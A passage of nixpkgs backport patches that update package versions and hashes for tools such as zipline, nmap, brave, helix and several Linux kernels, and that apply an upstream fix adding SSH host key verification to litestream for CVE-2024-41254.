+    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.11.0",
+    "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.11.0",
     "pg": "^8.8.0",
     "yaml": "^2.3.2"
   },
diff --git a/pkgs/by-name/dr/draupnir/package.nix b/pkgs/by-name/dr/draupnir/package.nix
index 1cf404073726..78666027d07a 100644
--- a/pkgs/by-name/dr/draupnir/package.nix
+++ b/pkgs/by-name/dr/draupnir/package.nix
@@ -22,13 +22,13 @@ let
 in
 mkYarnPackage rec {
   pname = "draupnir";
-  version = "2.6.0";
+  version = "2.6.1";
 
   src = fetchFromGitHub {
     owner = "the-draupnir-project";
     repo = "Draupnir";
     tag = "v${version}";
-    hash = "sha256-v6dHexu9x60onBoHbdI+15p6r5m6mi7bRLgZ9jqF19s=";
+    hash = "sha256-KO2jm9yD/LnJSY1dAbPQ2fJZhmrxWJHU+TIaZzK97bg=";
   };
 
   nativeBuildInputs = [

From 775069d70c80a047d2aa9ad0bb7cd0a84730d6ec Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 13 Aug 2025 12:18:26 +0200
Subject: [PATCH 3554/4511] zipline: prune node_modules

This reduces the closure size from 3.7 GiB to 2.4 GiB.

(cherry picked from commit bedeb5bb275a9de61c26db998f33630f7c56556e)
---
 pkgs/by-name/zi/zipline/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index dbc471813148..cd8d868bc2a5 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -85,6 +85,9 @@ stdenv.mkDerivation (finalAttrs: {
   installPhase = ''
     runHook preInstall
 
+    pnpm prune --prod
+    find node_modules -xtype l -delete
+
     mkdir -p $out/{bin,share/zipline}
 
     cp -r build generated node_modules prisma .next mimes.json code.json package.json $out/share/zipline

From 5e0dafbe09bc1e635b797bd8400a162555cf6b03 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 8 Aug 2025 15:04:13 +0000
Subject: [PATCH 3555/4511] zipline: 4.2.1 -> 4.2.3

Changelog: https://github.com/diced/zipline/releases/tag/v4.2.2
Diff: https://github.com/diced/zipline/compare/v4.2.1...v4.2.2

Changelog: https://github.com/diced/zipline/releases/tag/v4.2.3
Diff: https://github.com/diced/zipline/compare/v4.2.2...v4.2.3
(cherry picked from commit ed4ce1954409aff79aa10a03f61813ae5a6f6957)
---
 nixos/modules/services/web-apps/zipline.nix |  1 +
 pkgs/by-name/zi/zipline/package.nix         | 24 +++++++++++++++++----
 2 files changed, 21 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/web-apps/zipline.nix b/nixos/modules/services/web-apps/zipline.nix
index 86cb3a1d7e81..f900aa3d89e3 100644
--- a/nixos/modules/services/web-apps/zipline.nix
+++ b/nixos/modules/services/web-apps/zipline.nix
@@ -135,6 +135,7 @@ in
           "@system-service"
           "~@privileged"
           "~@resources"
+          "@chown"
         ];
         UMask = "0077";
       };
diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index cd8d868bc2a5..c215bfe4dbab 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -28,17 +28,33 @@ let
     PRISMA_INTROSPECTION_ENGINE_BINARY = lib.getExe' prisma-engines "introspection-engine";
     PRISMA_FMT_BINARY = lib.getExe' prisma-engines "prisma-fmt";
   };
+
+  vips' = vips.overrideAttrs (
+    finalAttrs: prevAttrs: {
+      version = "8.17.1";
+      src = fetchFromGitHub {
+        inherit (prevAttrs.src) owner repo;
+        tag = "v${finalAttrs.version}";
+        hash = "sha256-Sc2BWdQIgL/dI0zfbEQVCs3+1QBrLE7BsE3uFHe9C/c=";
+        postFetch = ''
+          rm -r $out/test/test-suite/images/
+        '';
+      };
+      outputs = lib.remove "devdoc" prevAttrs.outputs;
+      mesonFlags = lib.remove (lib.mesonBool "gtk_doc" true) prevAttrs.mesonFlags;
+    }
+  );
 in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "zipline";
-  version = "4.2.1";
+  version = "4.2.3";
 
   src = fetchFromGitHub {
     owner = "diced";
     repo = "zipline";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-16D44QQHrXn6y+3IRsWh6iHSr+o4l3zHDW7SOFMsHnc=";
+    hash = "sha256-WyL/ItY/hvmBDRBB063QAIATPT51bPChkFKH7i32sz0=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse --short HEAD > $out/.git_head
@@ -49,12 +65,12 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
     fetcherVersion = 1;
-    hash = "sha256-kIneqtLPZ29PzluKUGO4XbQYHbNddu0kTfoP4C22k7U=";
+    hash = "sha256-LDLcde+p0wjy1BddiNxJwFLS/7O9jGpMNapojZIipeA=";
   };
 
   buildInputs = [
     openssl
-    vips
+    vips'
   ];
 
   nativeBuildInputs = [

From 8de22e83436ffb1b733296e4300637611ef30f8b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 15 Aug 2025 00:40:38 +0000
Subject: [PATCH 3556/4511] nmap: 7.97 -> 7.98

(cherry picked from commit 93f300afb7a39cf809f0d6266280613d0548afed)
---
 pkgs/by-name/nm/nmap/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/nm/nmap/package.nix b/pkgs/by-name/nm/nmap/package.nix
index 7593868d50d0..d16274c7342b 100644
--- a/pkgs/by-name/nm/nmap/package.nix
+++ b/pkgs/by-name/nm/nmap/package.nix
@@ -16,11 +16,11 @@
 
 stdenv.mkDerivation rec {
   pname = "nmap";
-  version = "7.97";
+  version = "7.98";
 
   src = fetchurl {
     url = "https://nmap.org/dist/nmap-${version}.tar.bz2";
-    hash = "sha256-r5jyeSXGcMJX3Zap3fJyTgbLebL9Hg0IySBjFr4WRcA=";
+    hash = "sha256-zoRzE+qunlyfIXCOQtKre1bH4OuIA3KaMJL1iIbYl+Y=";
   };
 
   prePatch = lib.optionalString stdenv.hostPlatform.isDarwin ''

From 09e89b60bbdc3d3d40f1f7649b63391fc5d6f3b8 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Fri, 15 Aug 2025 12:22:32 +0200
Subject: [PATCH 3557/4511] zenmap: add setuptools-gettext to build-system

(cherry picked from commit 92a5b4d3112410100a9a01b5bf533316369c949a)
---
 pkgs/by-name/ze/zenmap/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ze/zenmap/package.nix b/pkgs/by-name/ze/zenmap/package.nix
index 71253709da5e..702ec89a866f 100644
--- a/pkgs/by-name/ze/zenmap/package.nix
+++ b/pkgs/by-name/ze/zenmap/package.nix
@@ -21,6 +21,7 @@ python3Packages.buildPythonApplication rec {
 
   build-system = with python3Packages; [
     setuptools
+    setuptools-gettext
   ];
 
   buildInputs = [

From 1e83f79ef0400fef7d47c9078f414f56e0f7db01 Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Fri, 15 Aug 2025 00:48:26 -0400
Subject: [PATCH 3558/4511] brave: 1.81.131 -> 1.81.135

https://community.brave.app/t/release-channel-1-81-135/639826
(cherry picked from commit f707925c98ed0fc058c98064b5545cee1226d471)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index 79bd0f6aa5df..c6567c2ceead 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.81.131";
+  version = "1.81.135";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-zMZSFNjbygITH7hn3QnDwg30BMgevEdz8VX9xvcTSC4=";
+      hash = "sha256-JXPvGcc6dLPaLGfHtyMa3JpOs4OF1V8GCGzoSJdSjRg=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-EgZi6JKwM3xf+kecenLJTzE2MtcEBnjbG7cVpRZZFE0=";
+      hash = "sha256-M99LF0Pc74xsQmnH97ATCUxrAyFfiQ0Rw8KYIvkJoPc=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-Q8CJn2JxFgQ6Daw2bJUjjKQ7vv/ce2pvIfGyxjygQP4=";
+      hash = "sha256-GpXGuxH2fuLNGXvMhTn7vu1b03YDAY+13lkcsW6zPe8=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-SPAGx1PYrDtmAu3avi06UgJY0D0/DQCq2u4kJtHwSZ0=";
+      hash = "sha256-WzwarZxP/Gte+mVpY+Altaezcy6fTrPVwCkLJx4KjQA=";
     };
   };
 

From 805634fdce081698c69885aee9848121ce1601a7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 21 May 2025 21:19:58 +0000
Subject: [PATCH 3559/4511] python3Packages.ansible-core: 2.18.4 -> 2.18.6

(cherry picked from commit ef9840dbd2a539ec42eb9233fb436180b2ec314c)
---
 pkgs/development/python-modules/ansible/core.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/ansible/core.nix b/pkgs/development/python-modules/ansible/core.nix
index aa8d8a850774..a70913be6ba8 100644
--- a/pkgs/development/python-modules/ansible/core.nix
+++ b/pkgs/development/python-modules/ansible/core.nix
@@ -32,7 +32,7 @@
 
 buildPythonPackage rec {
   pname = "ansible-core";
-  version = "2.18.4";
+  version = "2.18.6";
   pyproject = true;
 
   disabled = pythonOlder "3.11";
@@ -40,7 +40,7 @@ buildPythonPackage rec {
   src = fetchPypi {
     pname = "ansible_core";
     inherit version;
-    hash = "sha256-4fj1wzVGNisO6TPglpo7o2S0hlFab6G8Jeu12V+OxfQ=";
+    hash = "sha256-JbsgzhUWobcweDGyY872hAQ7NyBxFGa9nUFk5f1XZVc=";
   };
 
   # ansible_connection is already wrapped, so don't pass it through

From 8589100487c7c61042443bf0c6e2dfab42413392 Mon Sep 17 00:00:00 2001
From: ak2k <19240940+ak2k@users.noreply.github.com>
Date: Wed, 2 Jul 2025 18:14:07 -0400
Subject: [PATCH 3560/4511] litestream: fix CVE-2024-41254 by adding SSH host
 key verification

Apply patch from upstream commit f6c859061bfd7ccc2a21fcde3e9f0eb9ad98cd5e
by benbjohnson that adds optional SSH host key verification to SFTP
connections. This addresses CVE-2024-41254 where InsecureIgnoreHostKey()
was used unconditionally, allowing potential MITM attacks.

The patch adds a new `host-key-path` configuration option that allows
users to specify a file containing the SSH host key for verification.
When not specified, it maintains backward compatibility by falling back
to the insecure behavior.

Fixes: #388411
(cherry picked from commit 84cd68f55584b684e122457d58e169ca69d008a6)
---
 .../li/litestream/fix-cve-2024-41254.patch    | 64 +++++++++++++++++++
 pkgs/by-name/li/litestream/package.nix        |  3 +-
 2 files changed, 66 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/by-name/li/litestream/fix-cve-2024-41254.patch

diff --git a/pkgs/by-name/li/litestream/fix-cve-2024-41254.patch b/pkgs/by-name/li/litestream/fix-cve-2024-41254.patch
new file mode 100644
index 000000000000..8fd06b712a24
--- /dev/null
+++ b/pkgs/by-name/li/litestream/fix-cve-2024-41254.patch
@@ -0,0 +1,64 @@
+diff --git a/cmd/litestream/main.go b/cmd/litestream/main.go
+index 1234567..abcdefg 100644
+--- a/cmd/litestream/main.go
++++ b/cmd/litestream/main.go
+@@ -362,6 +362,7 @@ type ReplicaConfig struct {
+ 	Host     string `yaml:"host"`
+ 	User     string `yaml:"user"`
+ 	Password string `yaml:"password"`
+ 	KeyPath  string `yaml:"key-path"`
++	HostKeyPath string `yaml:"host-key-path"`
+ 
+ 	// Encryption identities and recipients
+@@ -664,6 +665,7 @@ func NewReplicaFromConfig(c *ReplicaConfig, dbc *DBConfig) (_ litestream.Replic
+ 	client.Password = password
+ 	client.Path = path
+ 	client.KeyPath = c.KeyPath
++	client.HostKeyPath = c.HostKeyPath
+ 	return client, nil
+ }
+ 
+diff --git a/sftp/replica_client.go b/sftp/replica_client.go
+index 30d8fa87..8b651e97 100644
+--- a/sftp/replica_client.go
++++ b/sftp/replica_client.go
+@@ -41,6 +41,7 @@ type ReplicaClient struct {
+ 	Password    string
+ 	Path        string
+ 	KeyPath     string
++	HostKeyPath string
+ 	DialTimeout time.Duration
+ }
+ 
+@@ -71,14 +72,28 @@ func (c *ReplicaClient) Init(ctx context.Context) (_ *sftp.Client, err error) {
+ 
+ 	// Build SSH configuration & auth methods
+ 	config := &ssh.ClientConfig{
+-		User:            c.User,
+-		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
+-		BannerCallback:  ssh.BannerDisplayStderr(),
++		User:           c.User,
++		BannerCallback: ssh.BannerDisplayStderr(),
+ 	}
+ 	if c.Password != "" {
+ 		config.Auth = append(config.Auth, ssh.Password(c.Password))
+ 	}
+ 
++	if c.HostKeyPath == "" {
++		config.HostKeyCallback = ssh.InsecureIgnoreHostKey()
++	} else {
++		buf, err := os.ReadFile(c.HostKeyPath)
++		if err != nil {
++			return nil, fmt.Errorf("cannot read sftp host key path: %w", err)
++		}
++
++		key, _, _, _, err := ssh.ParseAuthorizedKey(buf)
++		if err != nil {
++			return nil, fmt.Errorf("cannot parse sftp host key path: path=%s len=%d err=%w", c.HostKeyPath, len(buf), err)
++		}
++		config.HostKeyCallback = ssh.FixedHostKey(key)
++	}
++
+ 	if c.KeyPath != "" {
+ 		buf, err := os.ReadFile(c.KeyPath)
+ 		if err != nil {
\ No newline at end of file
diff --git a/pkgs/by-name/li/litestream/package.nix b/pkgs/by-name/li/litestream/package.nix
index fdb205a271ed..d13dceb3dc37 100644
--- a/pkgs/by-name/li/litestream/package.nix
+++ b/pkgs/by-name/li/litestream/package.nix
@@ -23,6 +23,8 @@ buildGoModule rec {
 
   vendorHash = "sha256-sYIY3Z3VrCqbjEbQtEY7q6Jljg8jMoa2qWEB/IkDjzM=";
 
+  patches = [ ./fix-cve-2024-41254.patch ];
+
   passthru.tests = { inherit (nixosTests) litestream; };
 
   meta = with lib; {
@@ -31,6 +33,5 @@ buildGoModule rec {
     license = licenses.asl20;
     homepage = "https://litestream.io/";
     maintainers = with maintainers; [ fbrs ];
-    knownVulnerabilities = [ "CVE-2024-41254" ];
   };
 }

From 7755995e61878a8c233f3f57e307baab8ca6afca Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Tue, 15 Jul 2025 21:31:41 +0200
Subject: [PATCH 3561/4511] helix: 25.01.1 -> 25.07

Changelog: https://github.com/helix-editor/helix/blob/master/CHANGELOG.md#2507-2025-07-15
Highlights: https://helix-editor.com/news/release-25-07-highlights/

(cherry picked from commit b8536c602f90bb2b770b5f90f9b6300c19c5ba59)
---
 pkgs/by-name/he/helix/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/he/helix/package.nix b/pkgs/by-name/he/helix/package.nix
index 930e276c2070..321b1f0404d7 100644
--- a/pkgs/by-name/he/helix/package.nix
+++ b/pkgs/by-name/he/helix/package.nix
@@ -10,17 +10,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "helix";
-  version = "25.01.1";
+  version = "25.07";
 
   # This release tarball includes source code for the tree-sitter grammars,
   # which is not ordinarily part of the repository.
   src = fetchzip {
     url = "https://github.com/helix-editor/helix/releases/download/${version}/helix-${version}-source.tar.xz";
-    hash = "sha256-rN2eK+AoyDH+tL3yxTRQQQYHf0PoYK84FgrRwm/Wfjk=";
+    hash = "sha256-UbvIbrDNUmcAvqVM98CPlBhjAc5BAyIUpp9+BXGmdfA=";
     stripRoot = false;
   };
 
-  cargoHash = "sha256-JZwURUMUnwc3tzAsN7NJCE8106c/4VgZtHHA3e/BsXs=";
+  cargoHash = "sha256-++zslB4s5/TOjxqeOFZAsYUu7acPxQw/xMnlYgTf5GU=";
 
   nativeBuildInputs = [
     git

From 8435e8bacba852c11ee413548c36fa1f173fb1e1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 14 Aug 2025 13:30:47 +0000
Subject: [PATCH 3562/4511] nix-fast-build: 1.2.0 -> 1.3.0

(cherry picked from commit 8f289b5b793c1bb64a11e5341e1887c38be447c6)
---
 pkgs/by-name/ni/nix-fast-build/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ni/nix-fast-build/package.nix b/pkgs/by-name/ni/nix-fast-build/package.nix
index 90ea52a3f504..5944893ed5c2 100644
--- a/pkgs/by-name/ni/nix-fast-build/package.nix
+++ b/pkgs/by-name/ni/nix-fast-build/package.nix
@@ -11,14 +11,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "nix-fast-build";
-  version = "1.2.0";
+  version = "1.3.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "Mic92";
     repo = "nix-fast-build";
     rev = "refs/tags/${version}";
-    hash = "sha256-lOouOgusUU3x97wClX8+WdbzpneMiRTdCqDSxGc/RlU=";
+    hash = "sha256-6X4BW+3C2nfkorMfe+tuoeYrdddxPtLqOJ1rZxuxPrc=";
   };
 
   build-system = [ python3Packages.setuptools ];

From 6788a5a49c55b52a2f7fb28a439aeaf9a05c950c Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 15 Aug 2025 18:20:33 +0300
Subject: [PATCH 3563/4511] linux_testing: 6.16-rc7 -> 6.17-rc1

(cherry picked from commit 9f3834f9213d5c6b3df66c6be9a81bda55f17a41)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 2679c02e760f..90833b9e66cc 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.16-rc7",
-        "hash": "sha256:071xwskg7rpa6j09khdxzzccqp8a2fk68l0p2bn7ycr51pyywxz9"
+        "version": "6.17-rc1",
+        "hash": "sha256:0dilsyjyx06b5f9wln6i58xi6nja2g5pj9p2kclfqqhbrgzxkyfl"
     },
     "6.1": {
         "version": "6.1.147",

From a803750ca413f40e91b0cf3acbde2fbab9f4f71c Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 15 Aug 2025 18:20:39 +0300
Subject: [PATCH 3564/4511] linux_6_16: 6.16 -> 6.16.1

(cherry picked from commit 2ac7c3cef1ad32e81f59fc61c181dec1d0ddc9f0)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 90833b9e66cc..8079744aee1d 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -32,7 +32,7 @@
         "hash": "sha256:0zcma8ycdwwzd4yci9752acsv85wh27lahclh5x2yc4jakw3lkz9"
     },
     "6.16": {
-        "version": "6.16",
-        "hash": "sha256:10ydzfzc3g0nhns6md08gpfshhjcyd58lylqr15alijjdgzf4jqs"
+        "version": "6.16.1",
+        "hash": "sha256:1fmcl66wzb4qwz60lgqjan8h9rwnrzw5gndjncaf9qdcqwdljhza"
     }
 }

From 9338517046dbe09b93db12500941db3da9fe4272 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 15 Aug 2025 18:20:41 +0300
Subject: [PATCH 3565/4511] linux_6_15: 6.15.9 -> 6.15.10

(cherry picked from commit a59d97e50da4455300f0864ad27be4d83354591b)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 8079744aee1d..3cd5c3d6a421 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -28,8 +28,8 @@
         "hash": "sha256:09qfpxyxi3z8cd64r2r5mxvh54a5sx8p5mk4d50y4ga2k6pa66bb"
     },
     "6.15": {
-        "version": "6.15.9",
-        "hash": "sha256:0zcma8ycdwwzd4yci9752acsv85wh27lahclh5x2yc4jakw3lkz9"
+        "version": "6.15.10",
+        "hash": "sha256:01pxk3cnil1wbysp4s6ybh5djskxzf9llmk1qy7zfr2l4mwnbkd4"
     },
     "6.16": {
         "version": "6.16.1",

From cfe64b11b12dc432a1a6789c103c1db68d6fce26 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 15 Aug 2025 18:20:44 +0300
Subject: [PATCH 3566/4511] linux_6_12: 6.12.41 -> 6.12.42

(cherry picked from commit 6a27b78eea7c031bed3bb2cc2469723a2e342dd0)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 3cd5c3d6a421..c5308bade89f 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:1h71zbqlsxcafrk218s0rip9rdrj0fzqvsl81ndqnlrnjy3g4kwc"
     },
     "6.12": {
-        "version": "6.12.41",
-        "hash": "sha256:09qfpxyxi3z8cd64r2r5mxvh54a5sx8p5mk4d50y4ga2k6pa66bb"
+        "version": "6.12.42",
+        "hash": "sha256:1yy17c06sn6l0skz8n1kxqhzldgwxxd0xhs11fd3086d56554128"
     },
     "6.15": {
         "version": "6.15.10",

From 54bc72c3313ed523170179b90fdaff8a59e417f2 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 15 Aug 2025 18:20:46 +0300
Subject: [PATCH 3567/4511] linux_6_6: 6.6.101 -> 6.6.102

(cherry picked from commit 040315b3ae8059e5ebe072fb952962034a8f11a4)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index c5308bade89f..827a57bdabb6 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:0fm73yqzbzclh2achcj8arpg428d412k2wgmlfmyy6xzb1762qrx"
     },
     "6.6": {
-        "version": "6.6.101",
-        "hash": "sha256:1h71zbqlsxcafrk218s0rip9rdrj0fzqvsl81ndqnlrnjy3g4kwc"
+        "version": "6.6.102",
+        "hash": "sha256:0p6yjifwyrqlppn40isgxb0b5vqmljggmnp7w75vlc2c6fvzxll0"
     },
     "6.12": {
         "version": "6.12.42",

From cf7d47886c3fdd84942be3c9d36ab52c8e7350a9 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 15 Aug 2025 18:20:49 +0300
Subject: [PATCH 3568/4511] linux_6_1: 6.1.147 -> 6.1.148

(cherry picked from commit 83486f52882830ef94258a1824c27f3a600b979b)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 827a57bdabb6..16b9b4fd8254 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,8 +4,8 @@
         "hash": "sha256:0dilsyjyx06b5f9wln6i58xi6nja2g5pj9p2kclfqqhbrgzxkyfl"
     },
     "6.1": {
-        "version": "6.1.147",
-        "hash": "sha256:1xv6whvxjcdmvv0cil7nnac4hs2hxjnc98agx08xiqs179k2b3r1"
+        "version": "6.1.148",
+        "hash": "sha256:18c024bqqc3srzv2gva55p95yghjc6x3p3f54v3hziki4wx3v86r"
     },
     "5.15": {
         "version": "5.15.189",

From 39da7ee7ab06057ca5b2e13274d9d5285c19d60f Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 15 Aug 2025 18:25:49 +0300
Subject: [PATCH 3569/4511] linux/common-config: update for 6.17

(cherry picked from commit 4a833ab56de4680b004330023fb04f61913b0e7b)
---
 pkgs/os-specific/linux/kernel/common-config.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/kernel/common-config.nix b/pkgs/os-specific/linux/kernel/common-config.nix
index 8f3ea8ab597b..26d994356f02 100644
--- a/pkgs/os-specific/linux/kernel/common-config.nix
+++ b/pkgs/os-specific/linux/kernel/common-config.nix
@@ -329,7 +329,7 @@ let
       BONDING = module;
       NET_L3_MASTER_DEV = option yes;
       NET_FOU_IP_TUNNELS = option yes;
-      IP_NF_TARGET_REDIRECT = module;
+      IP_NF_TARGET_REDIRECT = whenOlder "6.17" module;
       NETKIT = whenAtLeast "6.7" yes;
 
       PPP_MULTILINK = yes; # PPP multilink support

From 1d3aca7bae48b8c34f6499e9c05f9fb2d37084a1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 16:46:48 +0000
Subject: [PATCH 3570/4511] plexRaw: 1.41.7.9799-5bce000f7 ->
 1.41.7.9823-59f304c16

(cherry picked from commit c7c6a3a73ea54f8e5f7eb04618f5acea1cb34870)
---
 pkgs/servers/plex/raw.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/plex/raw.nix b/pkgs/servers/plex/raw.nix
index 0b055e24a467..63bdf06ecfb0 100644
--- a/pkgs/servers/plex/raw.nix
+++ b/pkgs/servers/plex/raw.nix
@@ -14,7 +14,7 @@
 # server, and the FHS userenv and corresponding NixOS module should
 # automatically pick up the changes.
 stdenv.mkDerivation rec {
-  version = "1.41.7.9799-5bce000f7";
+  version = "1.41.7.9823-59f304c16";
   pname = "plexmediaserver";
 
   # Fetch the source
@@ -22,12 +22,12 @@ stdenv.mkDerivation rec {
     if stdenv.hostPlatform.system == "aarch64-linux" then
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_arm64.deb";
-        sha256 = "0pzyzgp6w04zrc8wxdkna939wmb7f64wklqlar0bb6g0270hx40v";
+        sha256 = "1gnrb3kc9l7rvbs1yb1640f4csvwdp0kpabhgbq7ql55yk1rcfg8";
       }
     else
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_amd64.deb";
-        sha256 = "1p26cgzds3h229npp839fll5wdvz29z580xh34mws2ayq25lk796";
+        sha256 = "1r73w7bgpv5nabi8w5fh8np8ghny308s574izmr1damcczz5d0z2";
       };
 
   outputs = [

From f015e812ad29bad7d27e82ff0d9e7aba8e7b39ff Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 13 Jun 2025 01:14:21 +0000
Subject: [PATCH 3571/4511] plexRaw: 1.41.7.9823-59f304c16 ->
 1.41.8.9834-071366d65

(cherry picked from commit 15c6d153a65dbfde3a812632c2776f0a629dcd0f)
---
 pkgs/servers/plex/raw.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/plex/raw.nix b/pkgs/servers/plex/raw.nix
index 63bdf06ecfb0..3521a36597ef 100644
--- a/pkgs/servers/plex/raw.nix
+++ b/pkgs/servers/plex/raw.nix
@@ -14,7 +14,7 @@
 # server, and the FHS userenv and corresponding NixOS module should
 # automatically pick up the changes.
 stdenv.mkDerivation rec {
-  version = "1.41.7.9823-59f304c16";
+  version = "1.41.8.9834-071366d65";
   pname = "plexmediaserver";
 
   # Fetch the source
@@ -22,12 +22,12 @@ stdenv.mkDerivation rec {
     if stdenv.hostPlatform.system == "aarch64-linux" then
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_arm64.deb";
-        sha256 = "1gnrb3kc9l7rvbs1yb1640f4csvwdp0kpabhgbq7ql55yk1rcfg8";
+        sha256 = "0y62k1bqp5ydx2yyyicp24535dkg8a7jhd7vcsj3vx58kis4f2fd";
       }
     else
       fetchurl {
         url = "https://downloads.plex.tv/plex-media-server-new/${version}/debian/plexmediaserver_${version}_amd64.deb";
-        sha256 = "1r73w7bgpv5nabi8w5fh8np8ghny308s574izmr1damcczz5d0z2";
